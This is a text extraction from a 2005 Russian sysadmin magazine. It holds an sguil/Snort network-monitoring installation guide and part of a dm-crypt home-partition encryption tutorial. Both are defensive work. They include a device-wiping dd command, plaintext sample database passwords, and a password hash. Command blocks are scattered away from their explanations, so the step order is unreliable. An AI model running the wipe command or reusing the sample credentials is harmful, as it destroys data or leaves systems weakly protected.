Проект sguilМетодология, на которой построен sguil, называется NetworkSecurity Monitoring – NSM. Ее главный акцент сосредоточенна сборе как можно большего количества данных, упроще-нии доступа к ним и дальнейшего всестороннего анализа.В общем же назначение sguil состоит в интеграции различ-ных инструментов, предназначенных для защиты сети. Дляэтого она связывает предупреждения СОА с базой данныхTCP/IP-сеансов, полным содержимым пакетов и другой по-лезной информацией. После обнаружения атаки sguil обес-печивает исследователя полными данными, необходимымидля изучения проблемы, позволяя оценить ситуацию и при-нять правильное решение. При обнаружении события емуможет быть присвоена одна из семи категорий (таблица 1).В противном случае оно помечается как не требующее даль-нейшего внимания, и такие события больше не выводятсяна консоль, но все равно сохраняются в базе данных. Всязаписанная информация может быть легко добыта и про-анализирована при помощи предварительно подготовлен-ных SQL-запросов. Естественно, при необходимости такиезапросы можно составлять и самому, сохраняя их затем дляповторного использования.

События, имеющие один и тот же IP-адрес, сигнатуру исообщение, могут быть сопоставлены между собой. Дляудобства реализован и импорт отчетов, составленных ска-нером безопасности Nessus.

Система анализа информации, построенная на sguil, со-

СЕРГЕЙ ЯРЕМЧУК

МОНИТОРИНГ СЕТЕВЫХ СОБЫТИЙПРИ ПОМОЩИ SGUIL

… is built by network security analystsfor network security analysts.

Page 67: 028 Системный Администратор 03 2005

65№3, март 2005

безопасность

стоит из одного сервера и произвольного числа сетевых дат-чиков. Датчики собирают информацию и передают ее на сер-вер, который, в свою очередь, координирует полученные дан-ные, сохраняет их в базе и отдает по требованию клиентам.В качестве датчиков на момент написания статьи использо-вались:! Snort (http://www.snort.org), собирающий информацию не

только о событиях защиты, но и TCP/IP-сеансах и ис-пользуемых портах. Отдельный сенсор захватывает вседанные, проходящие по сети.

! Barnyard (http://www.sourceforge.net/projects/barnyard) –собирает данные из файлов журнала Snort и заносит ихв реальном времени в базу данных.

! SANCP – Security Analyst Network Connection Profiler(http://www.metre.net/files/sancp-1.6.1.tar.gz) – собирает,записывает и анализирует статистическую информациюпо TCP/IP-сеансам.

Дополнительно могут загружаться и расшифровывать-ся данные от сниффера Ethereal, если он установлен в сис-теме. Для доступа к информации, собранной сервером ис-пользуются GUI-клиенты, написанные на Tcl/Tk, роль кото-рых не менее важна, чем сервера и датчиков, т.к. именно сих помощью производится основной отбор данных в реаль-ном времени и последующий их анализ. При необходимос-ти могут создаваться отчеты в виде текстового файла илисообщений электронной почты.

Естественно, первое, что приходит в голову после зна-комства с sguil, это «еще один интерфейс к IDS Snort». Этоне совсем так. Главное отличие sguil от других проектов,задачей которых является выдача информации собраннойSnort, состоит в выводе данных в реальном времени и воз-можности проводить необходимые исследования, позволя-ющие изучить конкретное событие.

Установка sguilНа момент написания статьи актуальной была версия 0.5.3.Такой номер версии, как обычно в мире Open Source, неозначает недоработанность утилиты. Сама установка и на-стройка при внимательном подходе происходит, как пра-вило, без особых проблем. В качестве операционной сис-темы может быть использована любая из UNIX-систем, ноиспользование мультиплатформенных компонентов позво-ляет установить sguil на Mac OS X или Windows. На сайтепроекта http://sguil.sourceforge.net продукт доступен как че-рез cvs, так и в виде архива с исходными текстами. Его так-же можно получить на сайте проекта Snort, при этом дляудобства установки все части системы, т.е. sensor, server иclient на некоторых сайтах могут находиться в разных архи-вах. Если хорошо поискать, то можно найти и прекомпили-рованые пакеты. Например, на сайте BOSECO InternetSecurity Solutions (http://www.boseco.com), кроме rpm-паке-тов доступен и базирующийся на Fedora Core дистрибутивIDSLite, имеющий уже подготовленный к работе sguil. В ftp-архиве http://www.spenneberg.org/IDS, кроме rpm-пакетов соsguil, имеются и приложения, необходимые для удовлетво-рения зависимостей. Наиболее общей является установкаисходных текстов, поэтому в статье будет показан этот ва-риант. Итак, для настройки различных компонентов нампонадобятся:! База данных – сервер MySQL (http://www.mysql.com).! Сервер Sguild:

! библиотека MySQL client! Tcl (http://www.tcl.tk)! Tcltls (http://www.sensus.org/tcl/tls.htm)! Tcllib (http://tcllib.sourceforge.net)! TclX (http://tclx.sourceforge.net)! MySQLTcl (http://www.xdobry.de/mysqltcl)! P0f (http://lcamtuf.coredump.cx/p0f.shtml)! Tcpflow (http://www.circlemud.org/~jelson/software/

tcpflow)! sguil-server

! Датчик sguil:! библиотека MySQL client! PCRE (http://www.pcre.org)! Snort! Barnyard (http://www.sourceforge.net/projects/barnyard)! Tcl! SANCP (http://www.metre.net/sancp.html)! sguil-sensor

Òàáëèöà 1. Êàòåãîðèè ñîáûòèé, êîíòðîëèðóåìûå sguil

Page 68: 028 Системный Администратор 03 2005

66

безопасность

! Клиент sguil:! Tcl! Tcltls! Tcllib! TclX! Incrtcl (//incrtcl.sourceforge.net)! Iwidgets (http://www.tcltk.com/iwidgets)! Tk! sguil-client

Плюс опционально всеми компонентами поддержива-ется OpenSSL, хотя как вариант можно использовать иstunnel. Перед установкой ознакомьтесь с составом паке-тов, входящих в ваш дистрибутив, скорее всего, большаячасть из необходимого уже имеется. Все компоненты сис-темы можно установить как на одном компьютере, так иразвернуть систему наблюдения за сетью на несколькихмашинах.

Создание базы данныхдля хранения информацииНа всех компонентах sguil в целях безопасности рекомен-дуется использовать отдельного непривилегированногопользователя, поэтому вначале создаем его.

В качестве сервера базы данных на данный момент ис-пользуется только MySQL, установке которого посвященомного статей, плюс в документации sguil этот процесс опи-сан подробно, поэтому сейчас он рассматриваться не бу-дет. При установке сервера при помощи rpm-пакетов неко-торые шаги будут выполнены автоматически, вам останет-ся только проконтролировать результат.

Запускаем MySQL, устанавливаем пароль для root, ко-торый во многих дистрибутивах оставлен пустым, и даемнеобходимые привилегии пользователю sguil, от имени ко-торого и будем в дальнейшем работать с базой данных.

Далее нужную для работы базу данных можно создатьвручную, в документации подробно описан этот процесс.Но сервер sguild при первом своем запуске при отсутствиинеобходимой базы данных сам попробует ее создать.

После всего команда:

должна дать следующий вывод.

Установка сервера sguildДля удобства лучше поместить все конфигурационныефайлы сервера в отдельный каталог, например /etc/sguild.Поэтому создаем его и переносим туда файлы sguild.users,sguild.conf, sguild.queries, sguild.access, autocat.conf, кото-рые находятся в архиве приложения в подкаталоге server.Далее проверяем наличие необходимых компонентов.

Устанавливаем Tclx, в результате вывод будет такой.

Затем необходимо зарегистрировать пользователя, отимени которого мы будем работать с сервером.

Не получилось, система сообщает, что не установленmysqltcl.

Исправляемся.

# /etc/init.d/mysqld start

Инициализируется база данных MySQL: [ ОК ]

Запускается MySQL: [ ОК ]

# mysql -u root mysqlmysql> UPDATE user SET Password=PASSWORD('passwd')

WHERE user='root';

Query OK, 2 rows affected (0.08 sec)

Rows matched: 2 Changed: 2 Warnings: 0

mysql> FLUSH PRIVILEGES;

mysql> GRANT ALL PRIVILEGES ON sguildb.* TO sguil@localhost

IDENTIFIED BY 'sguilpasswd' WITH GRANT OPTION;

Query OK, 0 rows affected (0.00 sec)

# groupadd sguil# useradd -g sguil -s /bin/false -c "Sguil NSM" sguil

# mysql -u root -p -e "show tables"

# ./sguild -adduser sguilERROR: The mysqltcl extension does NOT appear to be installedon this sysem.

Download it at http://www.xdobry.de/mysqltcl/

SGUILD: Exiting...

+-------------------+

| Tables_in_sguildb |

+-------------------+

| data |

| event |

| history |

| icmphdr |

| portscan |

| sensor |

| sessions |

| status |

| tcphdr |

| udphdr |

| user_info |

| version |

+-------------------+

# tclsh% package require Tclx

can't find package Tclx

% package require Tclx

8.3

tclsh>exit

# ./sguild -adduser sguil

Page 69: 028 Системный Администратор 03 2005

67№3, март 2005

безопасность

Опять. На этот раз нет sha1, являющегося частью биб-лиотеки tcllib.

Теперь все нормально, а в файле /etc/sguild/sguild.usersдолжна появиться следующая запись.

По умолчанию файл /etc/sguild/sguild.access позволяетподсоединяться к серверу любому клиенту и датчику. Длябезопасности желательно указать конкретные адреса.

Например:

Копируем исполняемый файл сервера sguild и библио-теки, после чего запускаем.

Все. Сервер работает и ждет подключения сенсоров, ав процессе первого запуска была создана база данных. Вrpm-пакетах и в подкаталоге pkgbuild/rpm имеется скриптsguild.init, который обеспечит запуск sguild при старте сис-темы. Во время работы sguild использует конфигурацион-ный файл sguild.conf, простой и к тому же хорошо коммен-тированный. В нем придется подправить значения некото-рых параметров, в первую очередь значение переменнойSGUILD_LIB_PATH /etc/sguil/lib, так как по умолчанию онауказывает на текущий каталог. Также проверьте путь к ути-литам (p0f, tcpflow), параметры работы с базой данных, но-мера портов, на которых sguil будет ожидать подключениясенсоров и клиентов, каталог для хранения журналов, мес-тонахождение правил snort и пр.

Настройка GUI-клиента sguil.tkЭто самая простая часть настройки. Клиент sguil.tk, пред-ставляет собой готовый скрипт на tcl/tk и при наличии всех

необходимых компонентов он будет работать без проблем.В Windows его можно запустить при помощи библиотекиActiveState (http://www.activestate.com/Products/ActiveTcl), вдокументе «Getting SGUIL to work with Windows» подробноописан этот процесс. Во время своей работы скрипт считы-вает файл sguil.conf, который по умолчанию должен лежатьлибо в домашнем каталоге пользователя, либо в каталоге,в котором находится скрипт. Иначе требуется указать егоместонахождение явно.

Параметры, которые можно задать при помощи этогофайла, понятны и где необходимо снабжены комментария-ми. Некоторые из них можно изменить и после запуска. Сре-ди них имя сервера и порт, включение поддержки OpenSSL,путь к программам, вывод времени, цвет, используемый приотображении тех или иных событий, почтовый адрес и со-общение, которое будет отослано при обнаружении крити-ческих происшествий. Для тестирования можно подклю-читься к серверу demo.sguil.net порт 7734, введя любогопользователя и пароль, и выбрав датчик «reset».

Установка датчикаЭто самая сложная часть настроек, требующая вниматель-ности, так как скрипты выводят мало отладочной инфор-мации и ошибку отследить довольно тяжело. Для удобствавсе сенсоры, работающие на одном компьютере, исполь-зуют свой персональный каталог, в который они будут за-писывать информацию – $LOG_DIR/$SENSOR_NAME. Раз-работчики рекомендуют создать для этих целей на жест-ком диске отдельный раздел, смонтировать его в каталог/nsm и создать в нем подкаталоги, в которые будет записы-ваться информация, поступающая от датчиков. Такой под-ход позволит избежать переполнения основного раздела вслучае, если информации будет много. Я для этих целейиспользую каталог /var/snort_data. В подкаталоге sensor/snort_mods находятся два патча для препроцессоров Snort.Для работы sguil они не обязательны, но увеличивают ко-личество собранной информации и упрощают ее запись вбазу данных. Для работы потребуются исходники Snort. Намомент написания статьи в архиве sguil были патчи для snort2.1, я использовал последний «слепок» (CVS snapshot), про-блем с установкой и использованием не было. Но если увас что-то пойдет не так, возьмите соответствующую вер-сию snort и соберите датчик с ней. Далее заходим в подка-талог src/preprocessors и устанавливаем патчи.

После чего устанавливаем Snort как обычно (см. ста-тью Павла Заклякова [6]), не включая во время конфигури-рования поддержку mysql, о взаимодействии с которой те-перь позаботится barnyard. Теперь в файле snort.conf опи-сываем параметры работы обновленных препроцессоров.

# ./sguil.tk -- -c /etc/sguil/sguil.conf

# cd src/preprocessors# cp spp_portscan.c spp_portscan.c.bak# cp spp_stream4.c spp_stream4.c.bak# cp <sguil-src>/sensors/snort_mods/2_1/ ↵↵↵↵↵

spp_portscan_sguil.patch# cp <sguil-src>/sensors/snort_mods/2_1/spp_stream4.patch# patch spp_portscan.c < spp_portscan_sguil.patch# patch spp_stream4.c < spp_stream4_sguil.patch

sensor 192.168.0.20client 127.0.0.1

# ñð /home/source/sguil-0.5.3/server/sguild /usr/bin# ñð -R /home/source/sguil-0.5.3/server/lib /etc/sguil# sguild

Loading access list: /etc/sguild/sguild.access

Adding sensor to access list: 192.168.0.20

Adding client to access list: 127.0.0.1

: Done

Loader Forked

Queryd Forked

Error: mysqluse/db server: Unknown database 'sguildb'

The database sguildb does not exist. Create it ([y]/n)?:

Path to create_sguildb.sql [./sql_scripts/create_sguildb.sql]:

Creating the DB sguildb...Okay.

Creating the structure for sguildb:

..........................................

Querying DB for archived events...

..........................................

Retrieving DB info...

Sguild Initialized.No clients to send info msg to.

====== Sensor Agent Status ======

ERROR: The sha1 package does NOT appear to be installed on this system.

The sha1 package is part of the tcllib extension. A port/package is available

for most linux and BSD systems.

SGUILD: Exiting...

# ./sguild -adduser sguilPlease enter a passwd for sguil:

Retype passwd:

User 'sguil' added successfully

SGUILD: Exiting...

# cat /etc/sguild/sguild.userssguil(.)(.)MU47f7efd575à04e2da381e2781b8f95bef4a0083c

Page 70: 028 Системный Администратор 03 2005

68

безопасность

Формат записи для portscan:

В нашем случае он будет таким:

Запись для stream4:

И в разделе «Snort unified binary format alerting and logging»раскомментируем следующую строку:

Для нормальной работы сенсоров необходимо, чтобыкаталоги /var/snort_data/ gateway/portscans и /var/snort_data/gateway/ssn_logs существовали и права доступа позволя-ли пользователю sguil записать в них информацию. Иначебудет получено такое сообщение:

Перед запуском их необходимо создать вручную.

Запускаем Snort:

И так далее, заодно наблюдаем, как запускаются скон-фигурированые нами препроцессоры.

Но это еще не все. Для захвата двоичных данных ис-пользуется скрипт log_packets.sh, который можно найти вподкаталоге sensor архива sguil. Необходимо обеспечитьего запуск/перезапуск при помощи cron.

И в файл, используемый crontab, внести следующие стро-ки для перезапуска каждый час.

Кроме того, необходимо обязательно заглянуть внутрьфайла и подправить значения переменных HOSTNAME,

SNORT_PATH, LOG_DIR, GREP, PS, PIDFILE, INTERFACE,выставив их в соответствии с вашей системой. При помо-щи MAX_DISK_USE можно указать процент заполнениядиска данными по достижении которого начнется удалениестарой информации, а переменная FILTER позволяет бо-лее точно указать скрипту на то, какие данные интересуютисследователя, так как сценарий по умолчанию забираетвсю информацию.

И наконец, установка Barnyard. Чтобы не накладыватьпатчи, необходимые для работы со sguil (они имеются в ар-хиве), рекомендуется использовать версию 0.2.0. Конфигу-рирование производится с параметрами ./configure --enable-mysql, после чего Barnyard компилируется и устанавлива-ется обычным образом. Далее правим конфигурационныйфайл barnyard.conf, раскомментируем строку в конце фай-ла и указываем в ней на параметры подключения к базеданных и место сбора информации сенсорами.

Теперь запускаем.

Правим конфигурационный файл sensor_agent.conf изапускаем сам скрипт sensor_agent.tcl, лежащий в подка-талоге sensor, который обеспечивает передачу данных насервер.

Теперь, запустив на сервере демон sguild, мы должнынаблюдать подключение нового сенсора.

preprocessor portscan: $HOME_NET <ports> <secs> ↵↵↵↵↵<logdir> <sensorname>

preprocessor portscan: $HOME_NET 4 3 ↵↵↵↵↵/var/snort_data/gateway/portscans syn

preprocessor stream4: detect_scans, disable_evasion_alerts, ↵↵↵↵↵keepstats db /var/snort_data/ gateway/ssn_logs

output log_unified: filename snort.log, limit 128

# cp <sguil-src>/sensor/log_packets.sh /usr/bin/

00 0-23/1 * * * /usr/bin/log_packets.sh restart

ERROR: spp_portscan: /var/snort_data/gateway/portscans is not

a directory or is not writable

Fatal Error, Quitting..

# mkdir /var/snort_data/gateway/portscans# mkdir /var/snort_data/gateway/ssn_logs# chown -R sguil /var/snort_data# chgrp -R sguil /var/snort_data

# snort -u sguil -g sguil -l /var/snort_data/ ↵↵↵↵↵-c /etc/snort/snort.conf -U -A none -m 501 -i eth0

Running in IDS mode

Log directory = /var/snort_data/

Initializing Network Interface eth0

--== Initializing Snort ==--

Initializing Output Plugins!

Decoding Ethernet on interface eth0

Initializing Preprocessors!

Initializing Plug-ins!

Parsing Rules file /etc/snort/snort.conf

# sguil#----# This output plug-in is used to generate output for use# with the SGUIL user interface. To learn more about# SGUIL, go to http://sguil.sourceforge.net#output sguil: mysql, sensor_id 0, database sguildb, ↵↵↵↵↵

server syn, user sguil,password sguilpasswd, ↵↵↵↵↵sguild_host syn, sguild_port 7736

# /usr/sbin/barnyard -c /etc/snort/barnyard.conf ↵↵↵↵↵-d /var/snort_data/ -g /etc/snort/gen-msg.map ↵↵↵↵↵-s /etc/snort/sid-msg.map -f snort.log ↵↵↵↵↵-w /etc/snort/waldo.file

Barnyard Version 0.2.0 (Build 32)

Opened spool file '/var/snort_data/gateway /snort.log.1109764386'

Closing spool file '/var/snort_data/gateway /snort.log.1109764386'.

Read 0 records

Opened spool file '/var/snort_data/gateway /snort.log.1109794324'

Waiting for new data

# ./sensor_agent.tclConnected to 192.168.0.20

Checking for PS files in /var/snort_data/gateway/portscans.

Checking for Session files in /var/snort_data/gateway/ssn_logs.

Checking for sancp stats files in /var/snort_data/gateway/sancp.

Sending sguild (sock3) DiskReport /var/snort_data/gateway 15%

Sending sguild (sock3) PING

Sensor Data Rcvd: PONG

PONG recieved

====== Sensor Agent Status ======

No clients to send info msg to.

====== Sensor Agent Status ======

Connect from 192.168.0.20:32797 sock14

Validating sensor access: 192.168.0.20 :

ALLOWED

Sensor Data Rcvd: CONNECT gateway

No clients to send info msg to.

Sensor Data Rcvd: DiskReport /var/snort_data/gateway 15%

No clients to send info msg to.

Sensor Data Rcvd: PING

Page 71: 028 Системный Администратор 03 2005

69№3, март 2005

безопасность

Для автоматического запуска sensor_agent.tcl при стар-те системы используйте скрипт init/sensoragent.

Все. Теперь можно подключаться к серверу при помощиклиента sguil.tk и приступать к анализу собранной информа-ции. Как видно из рисунка, окно клиента sguil по умолчаниюсостоит из двух вкладок RealTime Events и Escalated Events,в которых в реальном времени выводится информация, со-бранная snort. Верхняя половина также разделена на тричасти, в которых выводятся события по степеням важности,более серьезные в верхнем окне, менее серьезные в ниж-нем. Если это неудобно, то можно изменить количество па-нелей при помощи переменных RTPANES, RTPANE_PRIORITY и RTCOLOR_PRIORITY в файле sguil.conf. Допол-нительно можно отобрать все события, подпадающие подопределенную категорию, в отдельную вкладку, восполь-зовавшись пунктом меню File. При этом если на скрытойвкладке появится событие, заслуживающее внимания, тозаголовок изменит свой цвет. Параметр ST показывает настатус предупреждения (RT – real time), CNT представляетсобой счетчик событий со сходными характеристиками.Нижняя половина также разделена на две части. Слева вы-водится информация, собранная при помощи обратногоDNS-запроса и сервиса whois, внизу можно просмотреть, взависимости от выбранной вкладки, системные и пользо-вательские сообщения. Последние представляют собой про-стейший чат между пользователями, зарегистрировавши-мися на одном сервере. В правом нижнем окне выводится

более подробная информация о предупреждении. При по-мощи меню Query можно создавать запросы для отбораопределенной информации, которые будут сохранены вфайле /etc/sguil/sguild.queries. Для удобства предлагаютсямастера и уже подготовленные запросы. Пункт Reports по-зволяет генерировать отчеты.

Sguil является довольно серьезным орудием в руках спе-циалиста, которого беспокоит безопасность сетей. Но, каклюбой другой инструмент, он требует приобретения практи-ческих навыков работы. Освоив основные приемы, можнобыстро находить и локализовать проблемные участки.

Ссылки:1. Домашняя страница проекта sguil – http://sguil.source-

forge.net.2. Richard Bejtlich «What Is Network Security Monitoring?»:

http://www.awprofessional.com/title/0321246772.3. Richard Bejtlich «Why Sguil Is the Best Option for Network

Security Monitoring Data»: http://www.informit.com/articles/article.asp?p=350390&seqNum=1.

4. Michael Boman «Network Security Analysis with SGUIL»:http://www.boseco.com/presentations/sguil-2004-1/img0.html.

5. Яремчук С. Тени исчезают в полдень. – журнал «Сис-темный администратор», №12, 2004 г.

6. Закляков П. Обнаружение телекоммуникационных атак:теория и практика, snort. – журнал «Системный адми-нистратор», №10, 2003 г.

Page 72: 028 Системный Администратор 03 2005

70

безопасность

«Кто владеет информацией, тот владеет миром» – всем из-вестное изречение Уинстона Черчилля. Вот и мы, впустивв свой дом компьютеры, доверяем им хранение части на-шего внутреннего мира, который не должен предстать пе-ред кем-либо, кроме самих владельцев. Что хранят милли-оны жестких дисков по всему свету? От дружеской email-переписки и домашних фотоальбомов до закрытой от по-сторонних глаз информации, имеющей статус государствен-ной и коммерческой тайны. Но кроме «винчестеров» име-ются и другие носители, количеством и объемом хранимыхданных превосходящие своих братьев, находящихся внут-ри корпусов современных ПК. Не стоит также недооцени-вать значимость той же переписки, ведь статью 23 п.2 Кон-ституции РФ еще никто не отменял.

Но, к сожалению, преступный мир не чтит государствен-ных законов. Огромное количество персональных компью-теров похищается прямо из дома, ноутбуки «забываются»командированными сотрудниками, которые также часто ста-новятся жертвами грабежа, мобильные носители могут бытьпросто потеряны по пути из точки А в точку Б. Как можно втаких случаях быть уверенным в том, что находящиеся на

утерянных носителях данные не попадут в руки заинтере-сованных в них лиц? А ведь подавляющее большинство ин-формации хранится на жестких дисках, CD, DVD и т. д. в«чистом» виде, и ничто не стеснит злоумышленника в егодействиях.

В Интернете, да и в печатных изданиях широко осве-щены решения по шифрованию конфиденциальной инфор-мации с использованием пары ключей. Следуя авторамбольшинства таких статей, пользователи размещают клю-чи на все тех же простых носителях, таких как FLASH-нако-пители и флоппи-диски (последние к тому же имеют свой-ство отказывать в самый неподходящий момент). И тут ужеподбор верного passphrase к легкодоступным ключам – делотехники.

Нашей задачей будет если не предотвратить возможностьвосстановления злоумышленником данных из зашифрован-ного раздела полностью, то на порядки усложнить его рабо-ту. В этом нам поможет аппаратный ключ, хранящий серти-фикаты и ключи в своей защищенной энергонезависимойEEPROM-памяти. Его «прошивка» описана в статье «Же-лезный login: ломаем зубы грубой силе», №12, 2004 г.).

ШИФРОВАНИЕ ДАННЫХВ LINUX – НОВЫЙ ВЗГЛЯДНА АППАРАТНЫЕ КЛЮЧИ

ШИФРОВАНИЕ ДАННЫХВ LINUX – НОВЫЙ ВЗГЛЯДНА АППАРАТНЫЕ КЛЮЧИ

АЛЕКСАНДР ПОХАБОВ

Page 73: 028 Системный Администратор 03 2005

71№3, март 2005

безопасность

Поскольку я имею дело с домашней рабочей станциейпод управлением Gentoo Linux, а не с промышленным сер-вером, то позволил себе использовать dm-crypt вместо crypto-loop (подразумевает ядро начиная с версии 2.6.4). Я дове-рился мэйнтейнеру cryptoapi Fruhwirth Clemens, выражав-шему свои доводы в пользу dm-crypt в LKML, что и вам со-ветую.

Впервые поддержка dm-crypt появилась в ядре 2.6.4, нонесмотря на четный минор, в широком кругу Linux-сообще-ства считается авантюрой перевод работающих серверовна новую ветвь ядра. В 2.4.-ядрах Device Mapper Supportнедоступен. Из преимуществ dm-crypt перед cryptoloop бег-ло можно назвать независимость от инструментов про-странства пользователя (linux-util), использование mempool,и отсутствие необходимости в правке /etc/fstab . Более под-робную информацию вы можете найти на сайте проекта:http://www.saout.de/misc/dm-crypt.

Принцип действия таков: мы поместим зашифрованныйпубличный ключ в начало защищаемого раздела, при вхо-де в систему определенного пользователя (обладающегоаппаратным ключом и знающим PIN), зашифрованный ключбудет прочитан во временный файл, расшифрован pkcs15-crypt и передан в качестве параметра cryptsetup для опре-деления зашифрованного раздела (во избежание удаленияключа из начала раздела cryptsetup вызывается с парамет-ром --offset=SECTORS), после чего содержащий копию клю-ча временный файл будет удален. Далее мы отформатиру-ем новый раздел (для первого использования), смонтиру-ем его и перенесем в него копию домашнего каталогапользователя.

Все это, за исключением форматирования и переносаиз резервной копии содержимого $HOME, будет делатьсяавтоматически с помощью pam_mount в момент регистра-ции целевого пользователя в системе.

Убедитесь, что в ядре присутствует все необходимое длядальнейшей работы. Ниже приведена выдержка из моего/usr/src/linux/.config:

Также проверьте, установлены ли:

Как бы то ни было, установленный не из CVS-репозито-рия opensc придется удалить, так как только в CVS-версииpkcs15-crypt имеется опция --raw, используемая мною в дан-ном примере. В стабильных версиях вывод pkcs15-crypt небудет распознан как параметр cryptsetup. Данная опциябыла добавлена 21 августа 2004 года и не была включенав релиз стабильной версии OpenSC 0.9.4, вышедший поз-же – 31 октября 2004. Будет ли она в следующем релизе, ясказать не могу.

Установка opensc из CVS:

Примечание: вместо ввода пароля нажмите <Enter>.

Проверьте вывод ./configure в STDOUT, необходимые оп-ции, такие как OpenSSL support, OpenCT support и PAMsupport должны быть включены (отмечены как «yes»).

Если при конфигурировании ядра вы не включили в ядроdm-crypt (Multi-device support (RAID and LVM) →→→→→ DeviceMapper Support и Crypt Target Support) статически, то под-грузите модуль:

Создайте любым удобным для вас способом резервнуюкопию пользовательского домашнего каталога. У меня онавтоматически архивируется по расписанию и практичес-ки ничего, кроме ~/.bash_history, в нем не изменяется. Ре-зервная копия понадобится нам для переноса всего ее со-держимого во вновь созданный и смонтированный в при-вычный пользовательский $HOME (прописанный в /etc/passwd) защищенный раздел, проще говоря – для мигра-ции. По моему личному мнению резервирование домаш-них каталогов – просто хороший тон.

Специально для простоты и удобства я создал в корнедиректорию /crypt и работал в ней.

где chiko – пользовательский login.Далее читаем публичный ключ с прошитого аппаратно-

го и шифруем его перед помещением в создаваемый раз-дел:

Вывод pkcs15-crypt в STDOUT не радует глаз, зато те-перь известно, что ключ расшифрован и может быть пере-дан в качестве параметра:

CONFIG_BLK_DEV_DM=yCONFIG_DM_CRYPT=mCONFIG_DM_SNAPSHOT=mCONFIG_DM_MIRROR=mCONFIG_BLK_DEV_LOOP=yCONFIG_BLK_DEV_CRYPTOLOOP=yCONFIG_CRYPTO_AES_586=y

sys-fs/cryptsetupdev-libs/openssldev-libs/openctsys-fs/device-mapper

# cvs -d :pserver:[email protected]:/cvsroot login

# cvs -z3 -d :pserver:[email protected]:/cvsroot co opensc# cd opensc# ./bootstrap# ./configure --prefix=/usr --exec-prefix=/usr ↵↵↵↵↵

--with-pam-dir=/ïóòü_ê/libpam --with-pam ↵↵↵↵↵--with-openct=/ïóòü_ê/libopenct ↵↵↵↵↵--with-openssl=/ïóòü_ê/openssl

# make# make install

# modprobe dm_crypt

# mkdir /crypt# cd /crypt# chmod 700 /crypt# chown chiko:root /crypt

# pkcs15-tool --read-public-key 45 > mykey.pub# dd if=/dev/random of=/crypt/key.plain bs=1 count=96

# openssl rsautl -encrypt -pubin -inkey mykey.pub ↵↵↵↵↵-in /crypt/key.plain -pkcs -out /crypt/key

# rm /crypt/key.plain# rm /crypt/mykey.pub

96+0 records in

96+0 records out

# emerge unmerge opensc

Page 74: 028 Системный Администратор 03 2005

72

безопасность

Можно убедиться в преимуществе CVS-версии opensc,вызвав pkcs15-crypt без опции --raw.

В своем примере я защищаю домашнюю директорию,находящуюся на USB-Flash накопителе (/dev/sda1) объе-мом ~244 Мб, вы же можете использовать любой разделдиска. Не поленитесь проверить размер вашего домашне-го каталога – он не должен превышать вместимости раз-дела.

Размещаем в начале раздела ключ :

Проверим, читается ли он безошибочно из рассматри-ваемого раздела, для этого сравним выводы md5sum докопирования ключа обратно в /crypt :

и после:

Отлично, записанный в начало раздела ключ читаетсябезошибочно. Готовим раздел к переносу пользовательс-ких данных из резервной копии:

На данном шаге форматируется новый раздел. Я пред-почел ext2fs, но никому не навязываю своего решения:

Забавно наблюдать за пользователями Windows, пыта-ющимися посмотреть содержимое FLASH-накопителя ипредложение отформатировать его.

Смонтируем:

Перенесем из резервной копии содержимое домашне-го каталога пользователя chiko и сделаем его владельцемкомандой:

В моей системе пользователь chiko не является членомгруппы root, в нее входит лишь одноименный пользователь.Приходилось видеть права доступа rwxr-x-- на домашнихкаталогах пользователей, входящих в группу, насчитываю-щую несколько представителей. Права на чтение и про-смотр каталога были выставлены именно на ту самую груп-пу, соответственно, в ~/.bash_history пользователя vasyaвстречалось что-то вроде cp -R /home/nikolay ~/kolya_lamer.Проследите за тем, чтобы никто не мог перейти ваш $HOME,если же необходимо впустить кого-нибудь, не стоит рекур-сивно отдавать все и всем.

Не забывайте, что ~/.eid/authorized_certificates долженбыть доступен для чтения и в неподключенном в точку /home/chiko (пользовательский $HOME, указанный в /etc/passwd)новом разделе и в смонтированном. Последнее уже выпол-нено при восстановлении из резерва всей копии домашне-го каталога.

Резервная копия домашнего каталога имеется, послеуспешного монтирования зашифрованного раздела може-те распорядиться им по своему усмотрению. Я оставил внесмонтированной точке /home/chiko лишь /.eid/authorized_certificates, а все остальное просто удалил.

Устанавливаем pam_mount. Для большинства дистри-бутивов эта задача тривиальна.

Для пользователей Gentoo Linux имеется ebuild, скачатьможно здесь: http://bugs.gentoo.org/attachment.cgi?id=51530&action=view.

Установка с помощью ebuild в Gentoo считается идеоло-гически верной, но при желании можно взять исходники pam_mount на домашней странице: http://www.flyn.org/projects/pam_mount и установить вручную. Когда он будет включен вportage-tree и будет ли вообще включен, мне, к сожалению,неизвестно.

После установки pam_mount необходимо отредактиро-вать два файла: конфигурационный /etc/security/pam_mount.conf и скрипт /sbin/mount.crypt.

Лично я потратил много времени на редактирование идоводку скрипта /sbin/mount.crypt, установленного с помощьювышеназванного ebuild, но раздел не монтировался. На по-мощь пришел mount.crypt от дистрибутива Debian, которыйможно взять здесь: http://bugs.gentoo.org/attachment.cgi?id=49305.

Скачайте и замените им имеющийся /sbin/mount.crypt.Поскольку я не могу рассмотреть данный скрипт в каждомотличном от Gentoo дистрибутиве, рекомендую загрузить еговсем и как минимум проверить с помощью diff различия отпоставляемого с вашей системой с предлагаемым мной.# mount /dev/mapper/mynewhome /home/chiko

# chown �R chiko:root /home/chiko

# umount /home/chiko

# cryptsetup remove mynewhome# rm /crypt/key

# dd if=/dev/urandom of=/dev/sda1 bs=1M count=240245+0 records in

244+0 records out

# dd conv=notrunc if=/dev/zero of=/dev/sda1 bs=1024 count=10241024+0 records in

1024+0 records out

# dd conv=notrunc if=/crypt/key of=/dev/sda1 bs=1128+0 records in

128+0 records out

# md5sum /crypt/key8fc7975ed38f56cabe507a93baaa177a /crypt/key

# rm /crypt/key

# dd if=/dev/sda1 bs=1 count=128 of=/crypt/key128+0 records in

128+0 records out

# md5sum /crypt/key8fc7975ed38f56cabe507a93baaa177a /crypt/key

# pkcs15-crypt --raw --pkcs1 --decipher -k 45 ↵↵↵↵↵-i /crypt/key | cryptsetup --hash=plain ↵↵↵↵↵--cipher=aes --key-size=256 ↵↵↵↵↵--offset=2048 create mynewhome /dev/sda1

Enter PIN [CHIKOPIN]:

# mkfs.ext2 /dev/mapper/mynewhome

# pkcs15-crypt --raw --pkcs1 --decipher -k 45 -i /crypt/keyEnter PIN [CHIKOPIN]:

Page 75: 028 Системный Администратор 03 2005

73№3, март 2005

безопасность

комендуется запретить пользователям просматривать спи-сок чужих процессов с помощью grsecurity (см. одноимен-ную статью Кирилла Тихонова в журнале №9, 2004 г.).

Остается подправить /etc/pam.d/login :

